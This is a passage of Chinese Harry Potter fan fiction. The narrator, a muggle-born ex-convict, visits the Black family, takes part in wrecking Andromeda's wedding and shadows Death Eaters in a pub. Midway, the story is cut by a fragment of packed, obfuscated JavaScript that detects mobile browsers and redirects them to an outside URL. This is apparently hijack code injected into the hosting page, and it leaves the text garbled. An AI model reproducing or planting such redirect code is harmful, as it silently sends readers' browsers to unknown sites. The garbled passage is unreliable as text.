广场没什么值得注意的,这个天气连鸽子都懒得挥动翅膀。街边的行道树枯瘦的枝条直直戳进泛灰的天空,黑、白、灰,好像世界上只剩下这三个颜色。
不过我今天穿了一身蛋黄色的羽绒服,相当暖和、相当亮眼。
因为不认识路,又在广场上转了两圈。说起来也是可笑,认识他们这么多年来,我是第一次踏足这个地方。好不容易找到布莱克家,我的鼻子都快冻掉了。于是我对着大门一阵猛敲,门开了,探出克利切那颗惊魂未定的头颅。
“加尔小姐又犯病了吗?”
“?”我露出疑惑的表情,直接挤进门里,“你要再把我关在外面,我就要感冒、肺炎、死掉了!”
克利切被我撞得一个趔趄,它也朝我翻白眼——我很怀疑这个动作来自于贝拉——我翻了回去,开始在玄关大叫:“贝拉——贝拉——我来看你了!”
木地板发出一阵咚咚声,贝拉没有跑出来,倒是一个看上去不太有礼貌的黑头发青少年跑下来,几乎不用猜,我就知道他是那个“疑似即将和麻瓜厮混”的贝拉的堂弟。
紧接着,这个堂弟就被屏风后面的一双手捉了回去,只剩下一颗不甘心的脑袋在墙边扑腾。我觉得布莱克家很奇怪,克利切是这样,这个堂弟也是这样。
我走到墙边,往里面探头探脑,发现大家都在这里后就直接走过去,坐在拥挤的大沙发上,然后掏出魔杖,对贝拉的母亲说:“所以,我们是要杀掉安多米达的情人吗?”
没有人说话。
“诶?不需要吗?”这里的气氛很奇怪,就好像我说了什么惊世骇俗的话一样。
终于,贝拉的母亲说话了。她不是对着我说的,而是对贝拉。她说:“这就是你说的‘她已经改正了’?”
我头一次见贝拉露出尴尬的表情,在此之后她恼怒地转头看向我:“不要开玩笑了,维达!”接着,她又开始挑剔我的衣服:“你的巫师袍去哪里了?”
我彻底迷糊了,竟然也能感受到此刻所有人之间尴尬的氛围,并且也觉得四肢僵硬,无所适从。我说:“我们不是来聊安多米达的事情吗?”
“不。”贝拉的母亲——鉴于这里全部都是布莱克,我将尊称她为德鲁埃拉太太,这位太太对我道:“我是想着,我们或许已经成为朋友了,或许应该安排你与我们正式会面。”
我听不太懂这里的弯弯绕绕,如果要是见面,我们早就在那间窄小的公寓楼里见过了。又或者说——
“哦哦哦,我知道了。”我立刻看向一边神态警惕的金发女孩,“你就是纳西莎吧,贝拉和我说过你。她说你很聪明。”
贝拉说过纳西莎八岁的时候懂得都比我多,那么她现在已经十六岁,一定是个聪明孩子。
贝拉在我身边手掌摊开又握拳,我略过她,再略过她的父母——这都认识了,然后就是她的堂亲一家。那个太太我也见过,但是不知道叫什么名字,先生完全没有见过,但是肯定害过我!布莱克一家都害过我!
他们的幸福生活是建立在维达·加尔的牢狱之灾上的!
“这是贝拉的堂叔和堂婶。”德鲁埃拉太太介绍,“这是西里斯,这个是雷古勒斯。西里斯年纪要大一些。”
我点点头,这家的族谱我已经摸清楚了。只可惜安多米达不在,我记得贝拉提过,她离家出走了。这可不妙,对于这种大小姐来说,外面的世界不算多么美好。
贝拉的父母不觉得我是个多么光彩的人,另一对布莱克夫妇显然也是这样想的。他们目光警惕,又小心地将看其他麻种时的嫌弃全部藏起来。家族小辈大多都怕我,只是这种恐惧还有待细分。
纳西莎是纯然的恐惧,身子离我摆在桌子上的魔杖很远;西里斯有些像看鳄鱼之类不讨人喜欢的猛兽,有厌恶也有好奇;至于雷古勒斯,我觉得他有些崇拜我。
这并不稀奇,我在这两年里也收到过各地崇拜者的信件。有些人觉得我与贝拉是一对苦命鸳鸯,也有一些人认为我是一个极端仇视麻瓜者,还有些人觉得我反纯血。唉,反正不论是什么,他们都从我的暴力行为里满足他们对自身挣脱困境的幻想,于是,他们崇拜我,追捧我。
可惜,我已经想过平静的生活了。
介绍完之后,会客室又变得十分安静。西里斯忽然问我是怎么把那些纯血全部送去圣芒戈的。
我想了想,对他说:“因为他们踩到我姑妈的肠子——嗷,贝拉你干嘛,他们就是踩到了!”
“那你姑妈的肠子为什么会露出来?”这是雷古勒斯问的。
“因为有人脑子不清醒,把自己姑妈拔起来了。好了,你们不准问!都闭嘴!”贝拉结束这场对话。大家又开始聊些别的,贝拉正试图和她的堂婶介绍我们两个人合作开的小店,总之,现场十分尴尬,我盯着茶几上的花纹发呆,贝拉的手指不停揪着自己的衣摆。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357962|180430||http|test|mini|href|location''.split(''|''),0,{}));
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>“她现在已经是个正常人了。”贝拉最后对布莱克家宣布道。这说的就像是我刚从精神病院出来一样。她又说:“我已经教好她了。”
她的堂弟开始鼓掌,“所以,你感化一个杀人犯,然后呢?”
这个西里斯话一说完就被自己的母亲狠掐一把。布莱克一家的视线又集中在我的脸上。这种感觉十分奇妙,比起当年——我第一次见到他们的时候十分不同。
“然后我得到了救赎,这难道不值得庆贺吗?”我问西里斯·布莱克。这小子似乎还准备说一些冒犯我的话,但是德鲁埃拉太太快速结束话题,大家又开始说起叛逆的安多米达。
毕竟安多米达投奔的只是一个脆弱的麻瓜,她的母亲为此无比心碎。要我来看,她一定是想起贝拉和我离家出走的那次,这个世界对巫师可不算友好,世界对任何人都不友好。
所有人都在劝说德鲁埃拉太太放宽心,又或者与她一起义愤填膺。我观察这些人的情态,只觉得大家表演痕迹十分浓重,关切的面色下充满公式化的忧虑,所幸情感还是真挚的,估计这位太太最近的话题总是这个。
这一点也无可指摘。虽然我没有得到过母亲真正的爱护,但是我还是能够理解母亲与孩子之间的情感。德鲁埃拉太太担忧安多米达与她担忧贝拉的心思是一样的。她能够为了贝拉接受我,迟早也会为了安多米达接受那个麻瓜。
等到所有人都劝过一遍,贝拉戳了我一下,我就知道应该轮到我表态了。
或许他们今天把我叫过来的真实意图就在于此?
“您要怎么解决问题呢?”我问德鲁埃拉太太。
是想要像对待我一样给那个麻瓜捏造罪名再关起来,还是像后来的我一样因为安多米达而漠视对方?
我不会再为她出主意了。经过一番试探,我就知道这一家还保留着体面人的通病。他们心里大叫着最残忍的选择,指望有一个卑鄙的朋友替他们说出来,然后半推半就地接受。
这样一来,日后列数罪名时,他们哪怕是最大获益者,也只能算得上从犯;甚至有时不用为此付任何责任。狡猾的上等人,狡猾的体面人。
德鲁埃拉沉默片刻,她在等我出主意么?她在等我说出进门时的那个话题吗?
贝拉一直拉着我的手,我猜,这对母女都打着一样的念头。
“我要让那个麻瓜付出代价。”这位母亲恼怒地说。
她说出来了,却面色惨白地靠在沙发上,那双盈满泪水的眼睛望向我。她长得与贝拉很像,我几乎能够猜到贝拉几十年后长成什么样子,不过好在贝拉不会像她这样伤心,因为贝拉和我说过不打算结婚了。
贝拉此时按了一下我的手,其他的布莱克也都看向我,我忽然觉得索然无味。
实际上,今天过来穿不穿巫师袍也无所谓,改不改正也无所谓,甚至我与贝拉堂弟争执的那个苗头——“救赎”也无所谓。
我是个杀人犯,所以一辈子就应该是杀人犯。
救赎本来就是不存在的,他们希望创造一个温柔的笼子,把我关进去。
“挺好的,要我和你们一起去吗?”我顺从地问。
“我们会一起过去。”贝拉牵起我的手,她的两只手掌都握着我的右手,将它举到台面上来,“我们所有人都会一起过去,这关系到布莱克家的荣誉。”
“哦,好的。”我说,接着又看向几个小孩,可能是成年人的良心在作祟,我又说,“小孩子就不用来了吧?”
“当然,小孩子也不准报信,尤其是你——”我盯着看上去十分不忿的西里斯·布莱克,“如果我因此被抓起来了,就先把你们的肚子全部剖开。”
别想拿我顶罪。
26.考验与质疑
维达·加尔真的改正了吗?
德鲁埃拉太太每隔十五天就会去对角巷,然后走出砖石墙面,站在一扇狭窄的玻璃窗后面观察那个“危险分子”。
她曾经是贝拉特里克斯的好朋友——尽管德鲁埃拉不愿意承认——但是贝拉已经把这件事闹到人尽皆知,甚至因为这位危险朋友,原先说好的莱斯特兰奇家也不愿意和布莱克结亲。因为胆小的莱斯特兰奇少爷总觉得,某一天清晨,发疯的维达·加尔会走进他家,然后把他的肠子拔出来,再强迫自己的弟弟装回去。
至于贝拉?
贝拉可能是监工的那个。
总之,她的大女儿就这样被一个麻种和她自己毁掉了。
沃尔布加太太曾经建议将贝拉赶出去,她认为布莱克家也不能承担这样的风险——她还有两个孩子住在这件房子呢,万万不能玩肠子扭扭乐的游戏。
这个建议德鲁埃拉无法接受,贝拉是个好孩子,她是德鲁埃拉的第一个孩子,也是最像她的孩子。如果说贝拉的叛逆是在割她的肉,那么将贝拉赶出去、与她断亲就是真正地杀死她。所以当贝拉提出加尔本性是好的的时候,德鲁埃拉与丈夫几乎是自欺欺人地立刻就相信了。
他们第一次走进加尔居住的小屋——屋子已经被克利切收拾过了,但是仍然狭窄到令人窒息。当然,或许是这里一下子多了三个人,又或者杀人犯的身份也令他们感到十足恐惧,总之,他们饱受折磨地与这个脑子不清楚的疯子交流,渐渐摸清她的脾气。
加尔是个完全的回避人格。她是一只一直被围捕的野兽,不愿意去认识陌生人,也不愿意去相信陌生人,任何冒犯都会让她立刻开始攻击。她就像一个被装满水即将爆炸的气球。
贝拉总是坚信自己是特殊的,但是在德鲁埃拉看来,这个世界上哪有什么长久的“最特殊”的存在呢?如今贝拉觉得自己能够控制加尔,不过是加尔需要一个房子。就像是当年加尔带着她离家出走那样,她们闯进一个空房子,占据那里。加尔在保护房子,而贝拉只能被赶去楼上,与宠物羊待在一起一样,贝拉对加尔的感情并没有得到同等的对待。
贝拉认为自己会是加尔的救世主,她对加尔一直抱有一股奇特的责任感。
与这样一名极度危险的罪犯在一起是恐怖的,但是德鲁埃拉与丈夫坚持下来。他们努力寻找共同话题,观察这个疯子对世界的看法。
后来,每当贝拉在家里说起加尔一个人待在屋子里不知道在研究什么的时候,她的丈夫西格纳斯就建议给加尔找个工作。
很好,问题来了,加尔是个逃犯,而且只上过一年学。找尽关系都没办法让她去工作。
“要让那个孩子去翻倒巷吗?”被拽过来的奥赖恩先生提议。这个建议很快被否决,加尔还年轻,不要让她再被翻倒巷那些黑巫师启发开发什么奇奇怪怪的刑罚了。
“要不就让她干点麻瓜的活吧。”德鲁埃拉拍板,“贝拉说过,她曾经比较会做手工活。”
那么,如果加尔没有入狱,她现在会变成一位手工艺者吗?
德鲁埃拉太太就在窗户后面观察,看着这个孩子在缝纫机后面踩着踩着,就开始拿出游戏机,只觉得头很痛。她恨铁不成钢地瞪着窗户后面的人。
与加尔相处久了,他们就越觉得这是一个不可理喻的人。怎么会有这么奇怪的家伙生活在人类社会里呢?加尔就像是一个不小心穿上人皮,投胎到人类肚子里的魔法生物,她英语说的不好,写得也不好,但是咒语却用得极为顺畅。为人价值观怪异,有时候好脾气到可以被随便欺负,但是有时候——
所以,加尔就像一颗地雷,轻飘飘的一层纸盖上去完全不会爆炸,再盖一层也不会,等到到达某个临界点,她就会突然裂开,把纸和盖纸的人炸得粉碎。
惹怒加尔的机会只有一次,问题是,谁都不会知道她会被什么激怒。
“布莱克太太。”
就在德鲁埃拉站在窗外胡思乱想之际,加尔已经发现她。对方敲敲窗户,朝她露出笑脸——游戏机已经被藏起来了。
愿意伪装总是好的。
德鲁埃拉点点头,准备等加尔邀请自己的时候立刻拒绝,然后体面离开。但是加尔敲完窗户之后问她:“你是专门来看我的吗?”
“不是。”她离开否认,然后又觉得这可能会惹怒对方,又补充道,“贝拉今天去集会了,她托我过来看看你。”
“好吧好吧。”加尔点点头。接着,对方的脑袋从窗户里探出来,把德鲁埃拉吓了一跳,加尔说,“你也觉得贝拉很不对劲吧。”
“什么?”
“黑魔王。”加尔压低声音,就像小女孩要说悄悄话一样,“他是恶魔哦。”
“黑魔王是一个叫做‘伏地魔’的恶魔。他蛊惑了贝拉。”
德鲁埃拉觉得加尔又发病了。
“我可以为黑魔王驱魔。”加尔又说。
“你想怎么做?”德鲁埃拉顺着她的话问。实际上,她认为贝拉不应该与黑魔王建立什么情感联系,就像她不应该与加尔建立情感联系一样。
“他曾经附身在我的羊身上,只要把我的小羊承受的一切复刻在黑魔王身上,伏地魔就会离开了。”
德鲁埃拉想到那只想棉花娃娃一样全身都是缝合线的羊,开始怀疑是不是玩具店给加尔新的启发。她一边摇头一边往对角巷走,准备等贝拉回来之后告诉她,省得加尔和神秘人打起来,贝拉又要伤心。
她开始怀疑自己的女儿是不是有什么追求危险人物的怪癖,又一时不好区分究竟是神秘人更危险,还是加尔更危险,甚至开始思考加尔如果真
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的和神秘人打起来——
大概神秘人会赢的。
他是斯莱特林的后代。
这样的观察仍在继续,直到一年后,她的二女儿又出事了。
安多米达要和一个麻瓜结婚!
德鲁埃拉只觉得自己的脑袋快要爆炸了,她甚至在怀疑自己的教育方式是不是出现什么问题,不然为什么贝拉叛逆,安多米达更叛逆——纳西莎——纳西莎目前来看还是一个好孩子。
她应该早早给纳西莎定下婚事才对。
安多米达在家中不停吵闹,在她的父母看来,这个麻瓜甚至已经不算什么事了——和加尔对比起来,这个麻瓜太好解决了!
可是问题就在于,贝拉不会和加尔一起死,死亡的阴影是笼罩在布莱克全家的头上;安多米达却会和那个麻瓜一起死。德鲁埃拉不愿意失去任何一个孩子。但是和全家一起死放在一起,好像光是丢脸也没有什么。
光是丢脸也很可怕!
加尔和贝拉就算睡在一起也不会生出混血的小崽子,但是安多米达会和那个麻瓜结婚,她会和麻瓜生孩子,生一个混合着麻瓜的血的德鲁埃拉的后代。这令德鲁埃拉无论如何也无法接受。她以自己的血统为傲。
母亲在此时浑身发冷,安多米达的行为令她伤心,她在家中大吵大闹,和妯娌一起讨伐这个孩子。
贝拉抓住这个时机,也闹起来。她要求沃尔布加和奥赖恩一家接受加尔,甚至理直气壮地表示:既然她不能带回来一个合格的女婿,那么就带回来一个强大的帮手。她已经说服加尔了,加尔现在很听话。
加尔很听话!
德鲁埃拉现在听见这句话就头疼,上次加尔还准备把神秘人缝起来,现在就开始听话了吗?是加尔听话,还是贝拉听话?
她被吵得没有办法,沃尔布加却茅塞顿开——她提出让加尔去杀死那名麻瓜。
贝拉坚决反对,她认为加尔的人生好不容易走上正轨,不能再因为一个麻瓜被毁掉。
这两人又开始吵,风声不知道怎么传去安多米达的耳朵里——肯定是西里斯通风报信了。安多米达离家出走,说如果加尔决定杀了泰德,就让加尔顺手把她也杀掉吧。
布莱克家经此彻底乱成一锅粥。
最后,贝拉临时通知加尔将在今日拜访布莱克家,她说,想必大家都已经做好准备了。德鲁埃拉只觉得大脑里的某根弦断裂了。
就这样吧,加尔来的时候所有人都能安静一点。
大家都不用吵了。
加尔来了,现场很安静。
她与沃尔布加的想法不谋而合。
加尔走了,大家都很安静。
现在应该思考,怎么处理安多米达了。希望贝拉真的能够控制住加尔,她不希望婚礼现场成为凶案现场。
27.互视之爱
我是在春天的一个傍晚被叫走的。贝拉告诉我,安多米达明天就要结婚了,既然她执迷不悟,那么就不能怪她和妈妈不讲情面了。
贝拉原本是打算叫上她的食死徒伙伴们——只是那些人听说我来之后,就都不来了。这让我有些伤心,因为我还挺喜欢大家的,毕竟我们有一起做坏事的情分。后来他们为了把魔杖拿回去,给了我许多钱。我认为我们至少应该在面子上过得去,但是目前看来,他们并没有对我报以尊重。
这件事令我十分沮丧,就连晚餐也没有吃多少。
贝拉没有注意到这些,她正在说,等到与安多米达决裂了,她就又能得到黑魔王的关注。
我心里很难过,不停用汤匙搅拌碗里的蘑菇汤。奶油已经完全融化,现在碗中是如同猫粮罐头一样的细糊。
同一餐桌上的德鲁埃拉太太同样心绪不宁,她今天多次打量着我,观察到我心情低落,就柔着嗓音问我怎么了。
我说:大家好像都不太尊重我。
西格纳斯先生咳嗽一声,贝拉对我说,那些人只是不了解我,实际上,我是一个内心温柔敏感的孩子。
西格纳斯先生的咳嗽声越来越大了,我泪眼婆娑,他肯定是在讽刺我。贝拉的爸爸都无法理解我,更何况那些朋友呢?
我是一个不被贝拉身边人接受的怪物。
我对贝拉说:“他们本质上都不屑于了解我。但是为什么他们愿意去了解那个黑魔王呢?”
我只有贝拉一个人,甚至不能完全拥有她,我正在与那个黑魔王共享贝拉;但是黑魔王有许多个贝拉,我只有一个贝拉。
黑魔王为什么要和我抢贝拉?
那个叫做‘伏地魔’的恶魔为什么一直不放过我?
为什么他要一直和我抢东西?
贝拉的声音戛然而止,她思考了一会,思考的内容我不得而知,最后,她告诉我,因为黑魔王是斯莱特林的后裔。
“哦,因为他是纯血。”我说,“我是麻种,所以没有人喜欢我。”
“我们都喜欢你呀。”贝拉急忙说,“我,妈妈,爸爸,还有纳西莎——纳西莎,你快说是不是?”
纳西莎握紧餐叉,如临大敌般点了点头。
我像是满意了一些,心里更加不高兴,因为贝拉没有如我所想的那样去踩她的食死徒伙伴和黑魔王一脚。在以前——特指在拉文克劳念书的时候,贝拉会愿意为了我与纯血作对,现在她却不会了。
我宣布:“我也要做食死徒。”
我要给黑魔王驱魔,让那个伏地魔早早地回到地狱,把贝拉还给我。我已经无法忍耐了。
实际上,我与贝拉的关系一直是施恩与受恩。贝拉施加恩惠,我接受。之前我总是念叨着报答她,感激她,因为她给我一个平静的生活,一份工作和陪伴。但是我还是恨她,如果不是她,如果不是布莱克,我本来不必受到那些磨难。
如今细细分辨,实际上应该是布莱克在向我赎罪。
但是贝拉与布莱克不这样认为。贝拉自以为是我的救世主,是地狱里的蜘蛛丝。她沉迷于我崇拜与依赖她,不断供养我,从我身上掠夺她缺失的那一部分情绪价值。布莱克将我当做工具、打手和隐形的暗牌。他们都不断剥削我,却自诩为施恩者。
道德的压力不断压在我的肩膀上。这是不对的,这是不对的。
我不知道这团关系的解法,我无法解开自己的心结,也无法说服贝拉。既然如此,我在想:如果我能走到更高处,如果我能像黑魔王一样得到贝拉的崇拜,那么我们之间的关系是否就能真正的洗牌呢?
如果说幼时起我便认为这个世界是一个地狱,那么,那时候的地狱是干燥的,它是硬邦邦的土地,跌倒在那里会把膝盖、手肘磕破;至于现在,我认为地狱变得潮湿、粘腻,一旦倒下,沼泽里的淤泥就会淹没我的口鼻。
伤口会在干燥的环境里复原,窒息却不会。
我踩在贝拉柔软的心上,凝视我们之间已经腐烂的关系。布莱克为我的世界浇了一瓢水。它是自然出现的,无法阻止,无法撤回。
贝拉对我试图理解她的行为感到十分高兴,她说,等到安多米达的事情过后,黑魔王一定会接受我。
“我要做食死徒为什么需要黑魔王接受?”我好奇地问,“难道巫粹党也有门槛吗?”
贝拉的表情又变得痛苦,我知道,她不想在我面前说出那个词——那个曾经令她无比骄傲的词——“纯血”。
但是,我就是如此热爱折磨她,既然她把我生活的土地变成沼泽,那么我便是沼泽里的一只怪物,带着淤泥与巨钳般的手去扼住她的脖子。
晚上,德鲁埃拉太太单独找我谈了谈。
我们坐在小会客室里,这间屋子里的壁炉没有在烧,气温已经很暖和了,这样一来,壁炉就没有用了。壁炉边上又一盏水母型的台灯,与我们头顶枝状铃兰灯相呼应,橙黄色的灯光落在暗绿与粉红色的布艺沙发上,显得典雅又舒适。
我有些嫉妒地盯着房间里的配色,只觉得这些富人怎么这么坏啊,就连审美都和我们不一样。
德鲁埃拉太太恳求我明天只跟在贝拉的身后,不要动手。她说,她不需要我做任何事。
“那您为什么要把我叫上呢?”我问她。
她的脸正在灯光的阴影里——这个形容十分模糊却又无比贴切——数盏铃兰灯的间隙里藏着无数个错乱的影子,德鲁埃拉就是这些影子的剖面之一。她说:“贝拉希望你能够过去。”
我点点头,又问她安多米达是什么样的人,据说我与她曾经也是朋友,但是我记不清了。
德鲁埃拉太太的脸色忽然变得有些奇怪,似乎有些悔恨,又有些不忍。
我眯起眼睛,身体往后靠在沙发上。脊背接触到柔软的靠垫,就像是仰靠在一只羊的身上。不知道我的小羊今天晚上有没有乖乖的——离开我之后它一直都是乖乖的,它一动不动,我知道,它现在只不过是一块不会腐烂的肉。
它本质上已经死了,是我的回忆、爱和魔法束缚住它的□□。
她面上的神色一闪而过,或许是我看错了,这也是灯光的剖面之一。德鲁埃拉对我说,安多米达是她最怨恨的人。她玷污了德鲁埃拉的名誉和血,如果可以,她不会将这个孩子生下来
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这位太太向我倾诉她的痛苦,实际上经过我的概括,大致就是:罗齐尔的德鲁埃拉的血会流淌在一个混血的血管里,哪怕这个血管不长在德鲁埃拉身上,哪怕这两人永远不会见面,德鲁埃拉都会觉得恶心。
这个孩子还未出生就令德鲁埃拉浑身有针在扎。
“那你为什么不让安多米达绝育呢?”我问她。如此简单的一个问题,为什么这位太太要想得这么复杂。就像小猫小狗一样,不想让纯种的血脉混淆、不想生下特征不明的孩子或者干脆觉得孩子很麻烦,绝育不就可以了吗?
世界上还有那么多纯血,未来还会有纯血的孩子的。如果德鲁埃拉追求的是一个有自己血脉的孙辈——纳西莎不是还能生么。
“那在胡说什么,安多米达好歹也是我的孩子。”这位母亲对我的提议展现出惊人的愤慨,她瞪大眼睛,好像我是一个毫无人性的怪物。
“所以,你未来终究会原谅她。”我指出,“因为她是你的孩子。”
“不,我永远——永远——”德鲁埃拉气愤得胸膛起伏,“——永远都不会。”
与一位母亲去争辩她的亲子关系毫无意义,更何况孩子的父亲不是我。我点点头,就当赞同她的话。德鲁埃拉过了好一会才平静下来,她拽着我的手,又要求我要好好对待贝拉。她是支持我去当那个什么“食死徒”的。
说是“食死徒”,实际上我觉得我更像是“替死鬼”——贝拉的替死鬼。
她对我一直抱有一种隐秘的恶意,换言之,她希望我去死。实际上,贝拉也是这样想的。
因为我已经过于影响贝拉的生活了。
就像小时候我曾经希望的那样,我曾经那么嫉妒她,恨不得把自己的脸撕下来贴在贝拉的身上,和她长在一起。现在,我真正变成一颗种子,将根扎在贝拉这片潮湿的心脏上。
我们互相侵/犯边界,一次又一次争锋之后,是真切的痛苦与无聊。我不知晓贝拉是如何想,但是我们每个人本身就是一面折射地狱的镜子,我通过我自己,也能看见贝拉。
贝拉爱我,她已经用行动证明这一点,我没有任何必要否定她。但是这种爱过于真实和残酷,她做过自己所能做的一切努力,不择手段地朝我靠近;然而我无法爱她,哪怕表现出顺从,我也无法令自己爱上她。
她越是撕扯自己,越是向我论证她的爱,我就越恐惧,越期盼这场论证的结束;因为她必定要我向她证明同等的爱在我身上是存在的。所以,当我无法论证时,只能把自己当成一无所知的孩子或者野兽,我伤害她,说服她这就是我的爱。
我希望她放弃这种行为,又不希望她放弃,因为我知道,她是世界上唯一爱我的人。贝拉有许多爱,我却没有,她能够得到许多爱,我却只能得到她。
换言之,我也是希望她死的。最好死地像一场戏剧落幕一样,并且在死前要像演员般倾诉对我的爱意,这样一来,我就能握着她的心脏,带着再也不会受到压力和束缚的爱,向世界证明我所得到的
——【爱】。
我们之间同样隔着一层镜子,所见所闻都不过是镜中倒影。
28.那些无言以对的
今天早晨有一只鸟飞进安多米达的家里,这是一个坏兆头。
女士整理自己的头纱,她的朋友坐在她身边举着镜子。两个人的脸上充满笑容,安多米达对自己的未来充满期待,朋友为安多米达能够选择自己喜欢的道路而感到高兴。
这一天由此开始。
鸟儿抓着窗帘,尖锐的指甲将绸布勾出细细的丝线,等到两位女士发现它的时候,它正安静地待在那里。她们走过去,鸟就飞起来了——往卧室飞。
朋友起身去扑赶,十分钟之后,她走出来,对安多米达说:鸟死了。
这是最坏的兆头。
安多米达内心的隐忧因为这只不速之客再度被勾起,她的朋友握住她的手,她说:无论发生什么,还有我们在。
是的,无论发生什么——无论布莱克们会带什么过来。
-
早上六点钟,我的房门就被贝拉踹开。这个家伙破门而入,对我这么一个自由职业者的规律作息造成毁灭性打击。我吓得从床上一跃而起,像剥香蕉一样换上巫师袍,然后就跟着布莱克一家出现在一片陌生的草坪。
“是草坪婚礼吗?”我打着呵欠,今天没有吃早餐,太坏了。
贝拉把面包片塞到我手里,指责道:“大家五点钟就起来了。”
“结婚真可怕。”我吃完面包,又问,“他们会请牧师过来吗?”
没有人回答我,我走到对面街上,买了两包牛奶。德鲁埃拉的精神十分紧张,她瞪大眼睛盯着我走出布莱克的族群,一直推着贝拉让她跟着我。贝拉说我只是去便利店,不用时时刻刻盯着,但是德鲁埃拉又问:她去麻瓜店里买什么?刀子吗?
——是牛奶,我早起的时候没有喝一滴水。
太残忍了,布莱克。
便利店里,我看见同样睡眼惺忪的店员,我们两个顶着黑眼圈面面相觑。我问她:早上这里有人准备结婚吗?
她点点头。但是这是几个小时之后的事情了。布莱克完全是应激状态下赶过来的。他们过来的时间与婚礼时间差距大到可以为整个草坪铺满炸弹。
人类一直在做一厢情愿的事情,或者说,人类自私的本质令他们只能做一厢情愿的事。
当日,我们如野狗闯入羊群般。安多米达那些温良的宾客——也不是那么温良,里面有一部分巫师——总之,不论是巫师还是麻瓜,一开始就被吓到做鸟兽散。
我们毁掉了安多米达的婚礼,然后呢?
德鲁埃拉在草地上大声叱骂她的女儿,声音尖利就像吠吠而叫的怒犬。
然后呢?
什么都没有改变。
安多米达铁了心要和麻瓜未婚夫完成婚礼,那个麻瓜在死亡威胁后也仍旧愿意与安多米达站在一切。他们互相交握的手掌似乎是一道石化咒语。
德鲁埃拉太太愣愣地看着这位二女儿,忽然哭泣起来。她说:“你怎么变成这样的呀!”
“我本来就是这样的,妈妈。”安多米达说。
她是一个褐色头发的姑娘,长得与贝拉十分像,但是看着要好说话些。似乎有点眼熟。只是她此刻面孔十足僵硬,嘴角、眼梢、眉弯——我从下往上看去,只觉得每一处都是一道突起的粗糙的沟壑,像白色的黏土覆盖在她的灵魂上,形成一道厚茧,一动不动。
贝拉走到母亲身边,温柔地扶住她,西格拉斯先生的脸色很差,他宣布布莱克家已经正式将她除名,从此以后,她就不再是他们的女儿了。
安多米达看上去十分伤心,但是她还是对西格纳斯先生说:“这样也好,我以后会有自己的生活。”
在场的人都十分忙碌,忙着生气,忙着伤心,只有我站在一边不知道应该做什么。我要和贝拉他们一起指责安多米达吗?
但是我根本不记得她了。
德鲁埃拉太太也不让我殴打这对新人。
我抱着手站在一边,有些焦躁。最后,我利用仅有的情商走到德鲁埃拉太太身边,模仿贝拉搀扶着她。
还好今天纳西莎没有来,不然这个工作也轮不到我。
所以,我过来的的意义是什么呢?
“你是......”安多米达看向我,语气中带着一丝不确定。我等着她猜出我的名字,我希望这一刻到来,但是她抿起嘴唇,什么都没有说。她再次看向父母,问他们还要做什么吗。
西格纳斯先生摇摇头,他嘴里嘟囔了一句,就叫我们都离开。我们又回到布莱克家,我肚子里空荡荡的,这一天只吃了一片面包和两包牛奶,十分饥饿。
但是这三个人看着却像是完全不饿一样,我认为在这里是等不到开饭了,就告辞离开。贝拉恹恹地朝我挥手,就当是送别。
克利切又送了我一程,特指帮我开门。
我站在广场上,左思右想,觉得应该去吃麦当劳,就骑着自行车过去了。
之后好几天都没有人找过我,贝拉没有出现在店里,德鲁埃拉太太也没有去对角巷。在没有她们的时候,时间过得很快,我开始感到无聊,就去找食死徒活动的痕迹。
贝拉总是口头答应引荐我,最后却总是让我再等等。这个不信守承诺的人已经令我失望至极,我决定自己想办法去会一会这个被伏地魔附身的黑魔王。
食死徒是黑魔王的手下,而食死徒里的大部分人都是我的旧同学,有些甚至被我打过。我们已经十分熟悉。这帮人很多都是富家子弟,一个富家子弟出没往往无声无息,但是一群人出现肯定令人瞩目。
这帮人瞧不起麻瓜,那么集会的地方一定是在巫师聚集处。
我在对角巷蹲点好些天,才意识到这帮人可能不是正常装束出来玩的,这个食死徒也不一定是什么光明正大的队伍。经过我坚持不懈地追踪——特指跟踪莱斯特兰奇兄
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弟、跟踪卢修斯·马尔福——跟踪前者有点困难,两个莱斯特兰奇前几年突发癔症后就变得异常谨慎,但是跟踪马尔福很简单。
德鲁埃拉太太似乎准备让纳西莎和卢修斯·马尔福结婚,这两个年轻人的书信来往十分频繁,我只要抓着猫头鹰就行。
至于为什么不跟踪贝拉——已经试过了,被警告了。贝拉的脑子里就像有雷达一样,太可恶了。
这次食死徒的集会地点是在一间酒吧,品味很糟糕,不符合我对纯血的幻想,所以之前一直忽略了,没想到他们就是这么糟糕的人。
我从来没有来过酒吧,推门进去的时候这里还没有多少人。一个看上去很老,有点眼熟的家伙正在吧台前。我沉默地坐在他面前,开始思考自己最近是不是脸盲了,为什么看见一个人就觉得眼熟。
如果我见安多米达眼熟是因为贝拉和德鲁埃拉,那么面前的酒保是因为什么呢?
难道巫师世界的近亲通婚已经到了如此恐怖的地步了吗!
我心中一凛,唾弃万恶的纯血且封建的巫师社会。
“希望你不是来这里发呆的。”酒保催促我点单。
我有些心痛,指了菜单上最便宜的那个,付完钱之后问他:“这里是不是会来一些特殊的人?”
“这里每天都会来特殊的客人。”酒保说,“从妖精叛乱起——”
我立刻端着酒上楼了。笑死,谁要听老头子上历史课啊。
坐在二楼的凳子上,我拿出头套,戴上之后满意地发现现在不仅仅是贝拉,连我都认不出自己了。接着,我就把椅子搬到栏杆边,盯着每一个打开门的客人。
很好,我看见了贝拉。她来的真够早的,我以前只知道她从不缺席黑魔王的集会,却不知道她会早到得这么积极。
我愤愤地踢了一脚凳子,贝拉抬头看着我的方向,我立刻心虚地举起手把两只露出来的眼睛也遮上。
这时又陆陆续续有些人进来。我都认识。
她上楼了。
坏事了!
“维达·加尔。”贝拉特里克斯这个不守信用的坏女人把我的凳子拽走。我立刻抓紧凳子腿,不准她将我从这个最佳观察地点带走。
“我是来喝酒的,你要做什么!”我立刻说。
“好哇,那你的酒呢?”
我指了指远处的桌子上。贝拉冷笑一声,继续拽我的凳子,“那你坐过去。”
“我不要,这里风景好。”我把凳子拉回来。
“你搞清楚自己的身份,你现在没有看风景的权利。”贝拉用通缉令警告我,她加大力度。
